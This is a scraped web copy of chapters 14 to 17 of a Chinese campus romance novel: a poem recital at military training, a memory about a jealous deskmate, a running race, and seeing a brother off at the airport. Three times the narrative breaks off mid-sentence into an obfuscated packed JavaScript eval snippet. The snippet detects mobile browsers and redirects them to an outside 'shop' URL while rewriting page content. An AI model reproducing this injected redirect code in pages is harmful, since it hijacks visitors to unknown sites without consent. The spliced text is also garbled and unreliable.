她坐下来,场上又上来了两个人,展示街舞,气氛热烈,陈真缺提不起劲,只是撑着下巴恹恹看着。 发呆,然后跟着鼓掌,发呆,鼓掌,这么来回几次,场上突然没有人上去了,也许要结束了,她这么想着,准备起身。 “周清越,你能不能先别走。”突然站起来一个女生。 陈真顺着她的视线,看见周清越站起身,像是准备走去哪,又被女生的声音叫住,停了下来。 人群顿时又沸腾起来,因为有了前几天是事情,都默认女生的目的是向周清越表白。 “又有人要表白?” “我靠我靠!顿时不困了!” “之前那个女生是十几班的吧,今天这个是我们班的。” “可是……这要是表白失败还要在一个班抬头不见低头见的,也太尴尬了吧。” “快快快,趁着教官还没回来快表白!” 可是那个女生并不是害羞的神情,也没有不好意思的忸怩,她只是很坦荡地看着人群里格外耀眼的那个人说:“周清越,我想说,我没有别的意思,也不是表白,只是单纯想给你念一首诗。” 周清越本来已经准备离开,但还是留下来,他坐在人群中,晚风微微拂动他漆黑的发丝,鼻尖到唇间的线条干净利落,神色晦暗不明,夜色给他增添了些神秘的美感。 他没有说话,只是看着她,礼貌地点了点头。 那个女生接着说:“是一首很老套的诗,却是我最喜欢的一首,舒婷的《致橡树》,念给你。” 14. 十四颗星星 女生缓缓开口: “我如果爱你 绝不像攀援的凌霄花 借你的高枝炫耀自己 我如果爱你 绝不学痴情的鸟儿 为绿荫重复单调的歌曲。 …… 不,这些都不够 我必须是你近旁的一株木棉 作为树的形象和你站在一起 ……” 念这首诗的时候,女生的语调平静而坦然,眼神坚定地看着周清越,却只让人干净纯粹。 念完之后,四周寂静片刻,又忽然声音哗然,只是这些声音里少了些起哄,多了些掌声。 陈真下巴抵着膝盖,鼓着掌,望向被女生注视着的那个人。 他一言不发,目光放在念诗的女生身上,唇抿成一条直线,他的视线很有吸引力,带点不露痕迹的锋芒。 周围的空气因为他的安静而逐渐凝固,掌声渐消,只留下寂静。 女生不自主捏紧了衣角。 陈真看着女生紧张的样子,挺想上去安慰安慰她,因为周清越看着特别冷淡,就像掌控一切审视一切的主考官,静静看着你,冷漠而疏离。但是那个神情也就唬唬别人,骗不了陈真。 他这一副臭脸色,不过是在专注地认人。 毕竟他可是个纯脸盲啊。估计他脑子里都是:是谁啊是谁啊,救命,快想起来…… 配上他那张臭脸——更好笑了。 不知道等了多久,他终于说话了,脸色也温和了很多:“谢谢你——” 终于把人家认出来了。陈真想。 “念得很好听。” …… 看来还是没认出来。 人群中有人鄙夷和不屑,认为那个女生念的就是情诗,目的就是跟周清越表白而已。 “不就是表白嘛,还说不是。” 那个女生脸色顿了一下,然后解释道:“这不是情诗,我也不是表白。” 一个男生不屑道:“这不就是一个女诗人写的一首情诗,告白就大大方方地告白嘛,不知道在遮掩什么。” 陈真看不下去,因为距离的原因她不知道说话的人是谁,只能分辨出一个大概的声音来源方向,于是她坐向那边,回应那个男生:“如果你了解过舒婷写这首诗的背景,就不会这么说了,你了解过舒婷吗,你了解过这首诗吗,你了解过她想表达的东西吗?你没有。你不但没有,还无比自信地给这首诗下结论。” 那男生还想反驳,被陈真一句话噎了回去—— “这就是你。无知就大大方方地无知嘛,不知道在遮掩什么。” “……”那男生被呛得说不出话,那个方向没有声音传来。 人群寂静,气氛凝固起来,尴尬的氛围弥漫。对于刚进入高中、面对着无数未知的人与事的新生来说,当众撕破脸实在不是一个明智的选择,大家都在暗暗预判事件的发展。 那个男生气不过,将矛头转向看起来好对付的那个女生,纠住另一个点不放:“如果不是告白,那你为什么偏偏要说是给周清越念的?我只是合理质疑一下,你们有必要这么咄咄逼人吗?” “我只是想感谢他。”那个女生没有生气,也没有恼怒,仍旧耐心回复。 又有几个男生加入争论: “越说越好笑了,这才认识几天就感谢。” “谁感谢是用情诗感谢的啊……” “你给所有人念才不算表白吧,单独给一个人念算什么。” …… 声音渐大,颇有讨伐的意味,如果再放任下去,恐怕会变成一场审判。 可一个声音凭空出现,在一群碎而杂乱的声音里隔绝出单独的空间。 “我如果爱你。” 像一柄剑冲破夜空,忽然而至,温和而强势地压住了那些纷至沓来的议论声。 陈真转头,是许愿。 她没有站起来,仍旧坐着,声音也不大,神情自若,只是淡淡看着那几个男生: “绝不像攀援的凌霄花 借你的高枝炫耀自己。” 语调柔和,又字字铿锵,就像在说既然你们说给所有人念才不算表白,那我就念给你们所有人听。 在那一瞬间,陈真看着许愿,看着她的侧脸,从一开始的粗略线稿,到逐步勾勒出她的细节,到现在细细描绘出色彩,一步一步,一笔一笔,她在自己心里的素描又鲜活明亮了一些。 于是她转过头,念起许愿还未念完的诗句,那些因读过很多遍而烂熟于心的诗从嘴边缓慢而自然地念出,一句两句三句……耳边的声音逐渐大了,许多人的声音加入了进来,左边,右边,前面,全都包裹过来,像一个圆满的环形的圈。 嫉妒。 这两个字出现在她世界里的具体时间很难追溯。只是她仍然记得,在第一次接触这两个字的时候,老师在黑板上写:嫉妒,是对他人的优越地位而心中产生的不愉快的情感。贬义词。 那天回去的作业就是抄写生词,当抄写到一定次数的时候,脑子就会自动拆解那个字,导致感觉很陌生。所以她抄着抄着,突然完全不认识这两个字了,它们在眼睛里变成了“女疾”“女户”,以及末尾的“贬义词”。她就是在那个瞬间产生了疑惑,有什么思绪从那时的她心中生出,宛若游龙,却始终抓不到尾巴,转瞬即逝间,她忽然又熟悉了这两个字,那隐秘的感觉也随之消失。 于是她记住了这两个字是联绵词,记住了就是这样写,记住了就是这个意思,也抄完了剩下的几十遍,伸伸懒腰,满意地翻过那一页,合上了作业本。 直到初三的时候,这两个字重新出现。 当时她一改以前吊儿郎当、混吃等死的学习心态,开始认真学习,她一向只要学,就能学得很好,所以在她意料之中成绩一路高歌猛进。本以为一切就这么顺风顺水下去,可幸运之神偶尔也会睡懒觉。 临近中考的第二次全市联考,她考出了有史以来最好的成绩,打败了班上那个万年第一的学霸同桌,拿下第一。她觉得这是理所应当的事,因为平时讨论问题的时候她就发现了,同桌的实力其实没她强,之前一直让他拿第一,是因为她太爱玩了,心思都没在学习上。 现在她发力了,考得比他好,挺正常的事。 可是那天同桌哭了。 在她的印象里,同桌是一个很阳光很乐于助人的男生,他帮过她很多忙,善良人品好。在不熟的人眼里,他总是学得很轻松,随随便便解出别人搞不懂的题,会在考前一天和他的兄弟说——嗐有什么紧张的,我也没学什么。 可是陈真知道,他其实很刻苦,他能为了一道写不出的数学题琢磨一整个晚修,也能因为,一沓一沓的笔记资料厚得让人心疼, 联考成绩下来的那个下午,班主任把她叫去办公室,说她的同桌申请换同桌,不想和她坐在一起,还说她严重影响了他的学习。 她第一反应是生气,那天下午两人坐在同一张桌子上,却互相生着闷气,几乎是背对背坐着。 当了晚上晚自习,她的生气变成了不理解,她不明白同桌为什么这样跟老师说她。 同桌的位置在靠墙边,她在走道旁,于是整个晚自习她都很蛮不讲理。同桌要出去,她就脚搭在前桌椅子上,轻轻一用力,把自己的椅子朝后推了很远,挡住过道,让他出不去。 一边按笔,一边看题,一副无赖的样子。 被生生拦住的同桌,也被气得不行,又拿她没办法,也只能乖乖坐回去。 她就这样和他僵着,直到晚自习结束,同学一个个离开,前面空了,旁边空了,后面空了。 到最后,只剩下他们两个。想到自己的行径,陈真给自己找了个借口,拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562528|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水杯假装去外面接水。 可当她装了空气回到教室的时候,听见同桌哭了。 他趴在桌子上,哭得很安静。 “你,哭了?” 她问完这句话才发现有多蠢。 同桌抽噎着,情绪好像到了无法压制的程度,喷薄而出,说话都有些语无伦次:“你知道吗,我很嫉妒你,一直都嫉妒你。我也不想这样,因为这种感觉和情绪让我不想面对你甚至会忍不住地讨厌你,我看你轻轻松松超过我,我那么努力地跑却发现追不上你悠闲的脚步,可我明明很欣赏你的……我不知道该怎么办……” 陈真不会安慰人,她只是看着同桌趴在桌子上的黑色脑袋,听着他有些发抖的声音,看着他因为抽泣而时不时耸起又落下的背脊。 面对着突如其来的哭泣,她的不解与愤怒好像跟着他的眼泪一起流走了,她沉默了一会,还是尽力去开导:“嫉妒我挺正常的,我挺优秀的不是吗?” 旁边的人抽噎声顿了顿,然后好像更难过了,声音变得更小声更压抑。 意识到安慰人的方式不对,陈真想了想,说道:“我的意思是……我也会嫉妒别人,嫉妒是一个很正常很正常的事情,我觉得嫉妒本质上就包含了你对我的认可和欣赏,如果你不认可我欣赏我,也就不会嫉妒我了对吧?” “只不过嫉妒比欣赏的情感浓度更浓,因为,多了你的自卑。” 他一直哭,她就一直说:“如果这真的影响到了你,你可以跟你爸妈说啊,或者去学校的心理咨询室。” 他终于停止了抽噎,只是声音变得沙哑许多,也平静许多,可那种平静像是暗流涌动的水面,里面藏着深处的情绪:“我跟我爸说过,我跟他说我最近很难受,因为我嫉妒我的同桌。可是我爸跟我说,男人怎么会嫉妒别人?女人才会互相嫉妒。” 要不怎么嫉妒这个词都是女字旁啊,我看你现在啊,就是太矫情了,男子汉大丈夫,坚强点。 陈真皱着眉听他说完话,然后跟他分享自己的想法:“女生不一定就矫情,男生也不一定就要坚强啊。你看我和我哥,我就不矫情,他就不坚强,小时候他挨打,只会哭,都是我帮他打回去的。” “这种想法叫做偏见,你不要被这种偏见困住了。就像你现在在我旁边哭得要生要死的,我也没觉得你矫情啊,谁规定男的就一定要坚强、无坚不摧了?那不是压抑人性吗?” 她伸出手:“你、和我,都是人,会难过、会想哭,会嫉妒、会不爽,这才叫人,真真实实的人。” 她看着他的眼睛:“懂吗?” 同桌停止了眼泪,抬起脑袋,静静地看着她,看了很久,很久。 最后终于点了点头。 那天晚上他们一起走出教室,走向校门口,同桌突然低着头,很小声地说了句:“陈真,谢谢你,真的。” 她转过头,他却没敢对视。 陈真看着路上一排排亮起的路灯,若有所思地说:“我也挺谢谢你的,让我想明白一件事。” 小时候抓不住尾巴的那条游龙,此刻终于被捉住、看清。 嫉妒两个字是女字旁,但身边很多鲜活的人和事都告诉她,嫉妒是不分男女的,只要是人,多多少少都嫉妒过别人。比如她,比如同桌,他们或许各自都是其他人嫉妒的对象,但即便看似已经很优秀的他们,也会有自己嫉妒的人。 这是在成长过程中必然会经历的,她也会嫉妒别人,甚至嫉妒很多人,远远不止一个。她发现嫉妒这个情绪是个双刃剑,把它用好,是很强烈的动力源,如果用不好,它就是回旋镖,不断加深对别人的不满和对自己的自卑。 所以,她又想到了小时候抄写的生词,她觉得要划掉那时的作业本,因为嫉妒也不该是贬义词,至少应该是个中性词。 因为她也嫉妒别人,所以别想给她套上一个贬义词。 15. 十五颗星星 周围的声音渐渐聚拢,传进陈真的耳朵里。来自很多方向,一句比一句大声,一下一下把陈真敲出自己的回忆。 “也不止像源泉 常年送来清凉的泉水 ……” 这时她才后知后觉,不知道什么时候开始,越来越多的女生加入这场诗朗诵: “也不止像险峰 增加你的高度,衬托你的威仪 甚至日光,甚至春雨 ……” 女孩们的声音从小到大,从低到高,一声压过一声,营地的队伍都在休息时间,大部分是唱歌跳舞这些,突然听见诗朗诵,倒是足足地勾起了所有人的好奇心,大家纷纷被吸引侧目,朝这边投来目光。 “不,这些都还不够! ……” “——我必须是你近旁的一株木棉 以树的形象和你站在一起。” 诗念到这,掌声雷动。 不止是有一班的掌声,也不止有二十八班,而是周围的班级都在给她们鼓掌,大家都特别捧场,口哨声此起披伏,这热烈的掌声在宽阔空旷的营地和夜间回荡,经久不息。 刚刚和她们争论的那几个男生脸色渐渐不好,脸上的神情都有些挂不住。 陈真静静地看着他们。 你们是在嫉妒吗? 嫉妒被女生叫住的人不是你,万众瞩目受欢迎的人不是你,被别人偷偷羡慕的人不是你。 所以你烦闷、你气郁、你愤懑,你有气没处发。 陈真起身去接水时,才发现那几个男生中有一个是跟她交涉说出“如果你觉得不公平就考到五楼来”的那个二十八班副班长。 原来,真的每个人都会嫉妒。陈真再次验证一下自己的想法。 “我没有针对你的意思。”二十八班副班长解释说,他不想因此影响他的正面形象。 可陈真没有回应他。 她只跟他说了一句没头没脑的话,神情怜惜:“可是没人告诉你,嫉妒是个很正常的事情。” 没必要觉得它羞于启齿,阴暗不堪。 章致看向她。 那眼神里,有些明了却又有些惊讶。 刚刚念诗的女孩还站在人群中央,一直很平静的她红了眼眶,声音也带着点哽咽。 她鞠了一躬,然后接着说: “既然刚刚有人问了,我为什么要感谢周清越,那我还是说清楚。我不是开学才认识他,我初中就认识他了。” 她重重吸了一口气,看向周清越,笑了笑:“我知道你可能根本不记得我。” 他有脸盲症,她很清楚。 可是,一直坐着没有说话的周清越忽然说话了,他看着她,认真道:“我记得你啊,姜乐。” 像是被击中,姜乐显然有些惊讶,自己居然被记住了,短暂的不相信后是释然的笑:“那我就不用多说了,周清越,谢谢你当初收下那封信,也谢谢你把它还给我,更谢谢你写下的那张便签。” 周清越也笑起来,嗓音清润:“也谢谢你这么勇敢。” 姜乐这个名字浮现在陈真脑海里时,是和许许多多封摆在桌上的情书一起出现的。 中考完后,周清越叫陈真到他家,然后他把一叠叠仔细保管的情书从他的书柜最上层取下来,那些情书摊开,铺满了整张电脑桌。 “你要干嘛?”陈真坐在吊椅上,好奇地看着他上动作。 他低着头,手抚过每一封信件,时不时看看旁边的一个本子,神情认真而专注,像是在确定什么,语气平淡自然:“把这些情书还回去。” 躺在吊椅上摇啊摇的陈真忽然停了下来。 她坐起来:“你认真的?” 他抬起头,看向她:“认真的。” 之后的一整个下午,他们都在对信件的名字和班级,陈真看着满桌的情书,许多都是经过她的手,再送到周清越手里的,她不免将自己代入了进去,心里有些闷闷的情绪,说不出什么感受,姑且叫做惆怅吧。 不得不承认,周清越将这些情书保管得很好,崭新得像它们刚刚递到她手里的一样,连灰尘都没有落上去。 姜乐的名字就在其中一封上。 归还情书其实不难,难的是周清越说要给每一封情书都附带一张便签。所以那天他写了很久,每一张都是他一个一个字写上去的。 其实内容挺简单,就四行字。 [谢谢你的喜欢 情书我没有看,原封不动奉还 也希望你把这份喜欢,加倍给你自己 山高路远,祝一路繁花,前程似锦。] 这个便签一开始的内容第三行,是陈真实在觉得惆怅,于是跟周清越说加上一句话吧。 周清越问她加什么。 她就说,希望她们把这份喜欢,加倍给她们自己。 于是,情书和便签还到女生们手里的时候,看到的是四行字。 毕业典礼那天,收到信的许多女生拍下情书和那张便签,发了Q.Q动态。 其中有一条配文:初中毕业典礼这天,暗恋的男生把情书还给了我。 因为刚好碰上毕业季,这条动态突然火了,在南川市Q.Q动态广为流传,影响力越来越大,许多其他学校的人都知道。 后来阳至中学就流传着一句话:古有天女散花,今有周清越散情书。 那张便签上的四句话,也一度被称为四句箴言。 李教官终于回来了。 他一回来,就发现有些不对劲。走之前还剑拔弩张、各坐一边的两个班,气氛好像微妙地好了一点点,虽然有一部分还是有些互相嫌弃,但至少没像之前那样死一样的寂静 李教官懵了,这是什么情况,难道是老张给他出的计谋起了作用。 “刚刚是发生了什么我不知道的事吗?”他走过来,一脸疑惑地问。 陈真站起来,一脸认真回道:“报告教官,没发生什么事。” 李教官手指了指她们:“那……你们?” 陈真也一副不解的表情:“怎么了吗,教官?” 李教官摆摆手:“没事,挺好的。坐吧。” 陈真:“是!教官。” 陈真刚坐下来,就忍不住笑出了声,刚刚憋笑憋得她难受。 庞欣畅更是笑得肆无忌惮,生怕教官听不见似的:“陈真你哈哈哈哈哈哈哈!” 姜乐倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562529|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是老实,不解地问:“为什么不告诉教官啊?” 陈真一脸傲娇:“就是不告诉。” 这是小孩的事情,大人没必要知道。 大人多无聊啊,他们怎么会懂呢。 - 短暂的狂欢之后,休息时间结束,重新开始训练。 因为陈真和周清越站在一块,时不时眼神对上,就觉得对方不怀好意,你伸脚碰我一下,我用肩膀撞你一下,越弄越来气,到后面开始互踩对方的影子泄愤。 教官注意这俩好半天了,最后居然还开始比跺脚,实在忍无可忍,指向他们:“你们两个,给我出列!” 互踩影子的两个人同时定住,看向教官,发现指的就是他们。 李教官指着他们的手转向外面:“绕着营地,男生跑十圈,女生跑五圈,现在开始! 陈真不动,反而皱眉不满道:“报告教官!我不服。” 李教官双手叉腰,看着她:“你们两个训练期间擅自说话,不该罚吗?” “该罚!”她回答得响亮干脆。 “那你有什么不服的?” 她说:“我觉得不公平。” 教官也疑惑了:“哪不公平了?” 陈真侧头看了看旁边的周清越,没给他好眼色:然后一本正经地说:“凭什么他跑十圈,我只要跑五圈?” …… …… 空气静默了两秒,随后爆发出细碎的笑声。 “笑什么笑!再笑一起跑!” 没人敢笑出声了,但憋笑憋得表情都扭曲了。 教官重新看向陈真:“所以你想干嘛?” 她微微昂着头,淡淡地说:“我也要跑十圈。” 李教官沉默了一阵,像是服气了:“行、行,你们俩,都十圈,开始!” 跑出训练场地,周清越问她:“这都要争?” 陈真挽了挽袖子:“对,就是什么都要争。” “好啊,那我们比比。” 两人并排跑着,夜色如水,各种口令声在营地回荡。 “你这个脸盲,今天还挺给力。”陈真说。 “嘘。”周清越看着她,“你都说了,我脸盲啊。” “其实我根本不记得她。” “那你怎么知道她名字?” “我问旁边同学的。” “……” “别告诉她。” “当然。” 一阵沉默。 两人默默跑步,都没有说话。 陈真忽然开口:“那你下次遇见她,能认出来吗?” 周清越想了想,然后摇头。 他辨别不出大部分人的脸,换句话说,大部分人在他都眼里长得差不多。他一般靠声音或者某些特征区分。 “不过也没关系,我对她的意义已经结束了。” 陈真很有兴趣地看着他,想听听他接下来会怎么说。 周清越接着说:“我对她来说,应该只是一个青春的符号,在特定的时间承载着特地的意义。” “她刚刚说完那些话,应该就算是给过去青春的一个正式告别吧,那么我对她的意义也正式结束了。” 16. 十六颗星星 又是一阵长久的沉默。 第三圈。 第四圈。 …… 跑到第六圈的时候,陈真气息已经有些紊乱了,步伐越来越慢。 周清越故意跑到她前面逗她:“不是要争第一吗?” 陈真脚步渐渐慢下来,越来越慢,直至停下,她弯着腰,微喘着气。 “周清越。” “如果我们某一天也要很久不见,你会不会也忘了我长什么样子?” 两人之间隔了大概七八米,中间竖着一根路灯,昏黄的灯光照在他们身上,把他们的影子拉得很长很长。 周清越听见她的话,停下脚步,转过身,看着她,清冽的声音意味不明:“你想什么呢,肯定会忘啊。” “……” 陈真发誓再也不要跟他这种人好好说话了,狗嘴吐不出象牙。 她调整呼吸,接着往前跑,不打算再搭理他。 周清越跟上她,两人一起慢慢跑着,路过一个又一个班据点。 跑到第十圈的时候,陈真已经忘了刚刚问的问题,满心只想着不停止、不走路坚持跑到最后。 周清越跑着跑着却突然开口,语气有些认真地叫她的名字:“陈真。” 陈真累得快成狗了:“干嘛?” 他微昂着头,专注地目视前方,光影投在他的脸上,他一边跑,一边漫不经心道:“如果真有那一天,我努力吧,不会忘记你的。” 陈真的脚步顿了一下。 她思索了一会儿,才明白他在回答之前的问题。 她随后应了一句:“哦。” 这人怎么反射弧这么长。 快到一班据点的,陈真听见有人在给他们俩打气,此起彼伏的打气声和呐喊声从前方传来。 “还剩一百米,要不要比一比?”周清越在旁边问。 陈真看着前面那些看不清面孔,却能听见她们声音的身影。 她转头看向周清越,眼角微挑,语气挑衅:“比比啊。” “我可不放水。” 陈真目光盯着前方:“敢放水你就完蛋了。” 周清越笑起来:“那就比比咯,数到三,就跑。” “一。” “二。” “三。” 他收敛起笑意,看向目的地,专注而认真。 “跑——” _ 有人说,全力以赴的感觉,在青春里总要体验一次,那种全然的,不顾一切的感觉,或许过了年少时就不会再有了。 既然如此珍贵,那就彻底地沉浸在当下吧。 耳边是呼啸不止的晚风,遮盖住了前方的加油与呐喊,那晚风吹起她额前的碎发,也灌进军训服里,路灯在眼中的世界摇晃。 什么都忘了,只剩奔跑的感觉。 直至到达终点的时候,她仍沉浸其中。 率先恢复的是听觉,她听见耳边响起不尽地掌声。 然后感受到自己被人揽过去,抱进怀里。 “太棒了陈真!”她听出来是庞欣畅的声音。 随后是越来越多的人围过来。 她的脑子清醒了一些。 她突然意识到自己应该是跑赢周清越。 于是她惊喜地跳起来,大喊到:“周清越,我就说我能超过你吧!” 喧闹的人群顿时安静如鸡。 周围寂静下来。 陈真笑容渐渐放下,声音变小:“……不是吗?” 庞欣畅把脸侧过去在一旁偷笑。 最后还是许愿憋着笑告诉她:“是周清越比你快两秒啦。” “不过你已经够棒了,真真!” 听到这个消息,她喘着气调整过来,:“没关系啊,你们有没有听过一句话?” 她的声音坚定有力量:“流水不争先——” 她朝向一班。 大家都默契地异口同声接道:“争的是滔滔不绝!” 在这空旷的夜色中。 在喧腾的人群里。 她的视线撞进周清越的眼睛。 那是一双含着笑意的,漂亮的,漆黑清透的眼睛。 - 军训结束后,一班获得了优秀班级奖,陈真获得了优秀个人奖,她把她的那牌奖状拿了回家,郑重其事地摆在书架前的书桌上。 这是她上高中后获得的第一个奖状。 坐在书桌前欣赏了好一会儿奖状,陈真忽然看到了镜子里的自己,于是她开始仔细观察镜子里的她,似乎没什么变化,就是皮肤变黑了一点,眼睛变亮了些。 像是想起什么,她忽然站起来,光着脚小跑到门口的墙边,边跑边甩掉脚上的拖鞋。 然后靠着墙站直。 粉色的墙上贴着刻度标,从下延伸上去,从一米三一直标到一米八,刻度标的顶端挂着一个粉色牌子,写着——公主成长大事记。 刻度标的旁边密密麻麻贴满了各式各样各种颜色的贴纸,是她从小到大发生的“大事”。 133cm的位置写的是: 真真第一天上小学咯,妈妈留。 142cm: 真真第一次参加演讲比赛,拿了全市三等奖!鼓掌鼓掌!爸爸留。 149cm: 小姑娘长笛八级考过啦!妈妈留。 …… 152cm: 小屁孩上初中咯,而我要上高中了,小屁孩永远慢哥一步,略略略。 宇宙无敌大帅哥留。 后面的几乎她自己写了。 比如156cm旁边,写的是:本美少女成功拿下了跆拳道红黑带!!以后脚踩张嘉泽,拳打周清越! …… 她已经好久没有去测量过自己的身高了,上次测身高还是中考前的体检,当时测的是162。 她闭上眼睛,把头靠到墙上,心里不停默念长高、长高、长高…… 心砰砰跳个不停,不想直接面对,于是她只微微睁开一只眼睛,这样如果结果太残酷,她就当没看到。 朦胧模糊的视线里,她顺着自己比着头顶的手,看过去,对着的数值是—— 164! 三个月前测还是162,她长高了两厘米。 她一下两只眼睛都睁开了。 真的是164! 她激动地跳起来。 窗外的蝉鸣适时响起,一声比一声响,热烈得像是在给她庆贺。 “真真!” 门外传来陈玉亭的声音。 “走啦!怎么还不出来?” “知道了,来啦!” 她应着,然后郑重地用笔在164旁边写上——高中军训结束了,我长高了整整!两厘米!! 今天张嘉泽大学开学的日子,他要求必须给足排面,于是在他的死缠烂打之下,最后决定全家出动送他去机场。 哦,还有一个周清越。 一出门,张嘉泽就给她戴上一个粉色棒球帽:“外面晒。” “戴着热。”陈真想拿下来,她没有带帽子的习惯。 张嘉泽手一把按在她头上,不让她拿下来:“戴着。” “凭什么要听你的?” “凭我是你哥,这个理由可以不?” “有什么了不起的,我跟你说,我刚刚量了,我长高了两厘米。”陈真说,“我以后会长得越来越高的!” “哦哦哦。”张嘉泽敷衍应到,抓着她的脑袋往前走。 “放开我的脑袋。” “不放。” “放开我!” “可以啊,求我。” “张狗泽!”陈真抬起脚要踹他,但被他摁着脑袋,使不上力。 于是恶狠狠放话:“我迟早踹飞你和周清越。” “踹飞谁?” “你、还有周清越。” “踹飞我啊?”声音从后面传来。 她艰难转头,看见周清越就站在楼道口,慵懒清爽的黑T搭工装裤,戴着棒球帽,单手插在裤兜里,看不清神情,声音满满地无奈。 “我又惹你了陈真?” “哼。”陈真自知不占理,瞥他一眼,冷哼一声,挪开了视线。 轿车在马路上飞驰,粉色的夕阳映满整个天空,透过车窗玻璃照进车里,成了一道道拉长的漂亮光影。 两个大人坐在前面,三个小孩坐车后座,互相挤来挤去,顺便挤兑对方几句,差点又要吵起来。 张嘉泽又跟陈真杠上了:“我都要离开家了,你就不能让让我?” “你比我大,肯定是你让我啊。” “哦,那我比你年长,你平时尊重我了?” “你为老不尊,不值得被尊重。” 被骂老又不被尊重的张嘉泽:“……” 张嘉泽又说:“天天盼着我走,现在我真要走了,开心了吧?小屁孩。” 陈真低着头,皱着眉小声说:“我哪有天天盼着你走。” _ 到达机场,陈玉亭他们要去停车,于是嘱咐三个人注意安全,又跟张嘉泽说了许多好好休息,早睡早起之类的话,然后才依依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562530|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舍地放三人走了。 下了车,陈真走在两个人中间,垂着脑袋,闷闷不乐。 张嘉泽伸手拍了她一下: “不许装病逃课。” “我才没有……” “不许打架。” “知道了……” “不许早恋。” “你又管不着我。” “周清越就是我的眼睛,要是让我发现你和哪个混小子早恋……” “你想怎样啊。”陈真昂起脑袋,犟嘴道。 张嘉泽笑起来,一副凶狠的样子,手上动作不停,左右挥舞:“我先把那个跟你谈恋爱的狗东西打一顿,再把你打一顿,然后告诉爸妈,给你男女混合双打一顿。” “哦,”陈真淡淡看他一眼,“那你可能直接输在第一步。” “放屁!” “本来就是,你可能根本打不过。” “那我叫周清越一起打。” 专心喝旺仔牛奶的周清越:“……” 张嘉泽好像使唤他使唤惯了:“周清越就是我的爪牙。” …… “我可去你的吧,滚。”周清越不给他留面子,当场踹了他一脚。 距离闸机口越来越近。 周清越放下他心心念念的旺仔牛奶,转头开始和张嘉泽理论起眼睛和爪牙这事。 只有陈真默不作声。 “你干嘛不说话?”张嘉泽问。 “你管我。” “我确实也管不了你了。” …… 过了一阵,陈真才问:“那你什么时候回来啊。” “几个月之后吧。” 几个月。 陈真在心里复述了一遍。 他们之前好像还没分开过这么久。 记忆回拉,那是高三那年。为了全力备战高考,张嘉泽几乎每个周末都住在学校学习,基本每月回一次家。 但真要说起来,她和张嘉泽根本不算一个月见一次,相反,那段时间他们几乎天天见。 那事是瞒着爸妈做的。 起因是张嘉泽说学校食堂的饭菜不好吃,吃得他想吐,偏偏南川高中又管得严,不给学生点外卖。陈真看他可怜,刚好她每天放学去坐公交车的路上会经过南川高中,于是她会顺便带一些吃的偷偷给他送去。 之所以叫偷偷送,是因为南川高中有个很偏僻隐蔽的小门通向外面,很少有人知道那扇门,也没有保安管。可张嘉泽是个老油条,他知道那扇小门,于是陈真每天放学之后就会在路上给他买点吃的喝的,然后从小门送进去。 她还记得那扇门是通体斑驳生锈的铁栅栏门,只能隐约看出原本的颜色是红色,上面攀满了绿色的藤蔓,她就是从那扇门里偷偷给张嘉泽递吃的,有时候是炒面炒粉,有时候是几杯奶茶,有时候是外面的快餐盒饭。 当然,这场偷摸的活动不止陈真参与了,还有周清越。虽然那扇小门特别偏僻无人看管,但有时候保安巡逻会路过,好几次他们俩差点被发现,于是意料之中地,周清越被拉了过去,准确来说,是被张嘉泽千般求万般请,求过去了。 所以后面就变成陈真给张嘉泽递东西,周清越站在旁边望风。这样的日子,一直到张嘉泽高考完才结束。 这是他们三个人之间的小秘密,除了他们三个,无人知晓那段两个初三生“探监”一个高三生的时光。 时间一分一秒过去。 他的身影越来越远,越来越模糊,直到最后消失在闸机口,彻底看不见。 陈真站在那,周围人来人往,她望着那个地方出神。 自从她六岁和张嘉泽认识,他们之间最远的距离不过几千米,分开最长的时间就是一个星期。 只是这次,千里之隔,是真的要好久不见了。 - 回去后,陈真兴致缺缺地趴在书桌上,过了许久,才发现张嘉泽给她戴的帽子还没摘下来,她伸出一只手,拿下那个粉色的鸭舌帽。 指尖碰到帽檐时,摸到了凸起,是刺绣的触感。她坐起身,把帽子拿下来,上面是用粉色线绣上去的三个字母,绣得不太整齐: Z&Z 真与泽。 陈真愣了一下。 臭张嘉泽,居然搞煽情。 之前在家的时候怎么不知道对她好一点,现在要走了,留下这个东西。以为她会因为这个哭吗,她才不会,这么一个小破帽子,有什么稀罕的。 她躺进被子里,窗外的天黑漆漆一片,楼下隐约传来行人的脚步声和说话声,倒是家里变安静了不少。 17. 十七颗星星 ** 又是一周过去,这一周说无聊也无聊,每天的日子三点一线,教室、食堂和宿舍,学习也是一样,早修、午休和晚修。 说有趣也有点意思,毕竟是开学第一周,带着好奇去生活,事事都新鲜。 开学典礼没有想象中隆重,那天还下了小雨,在一片兵荒马乱中勉强走完了流程。 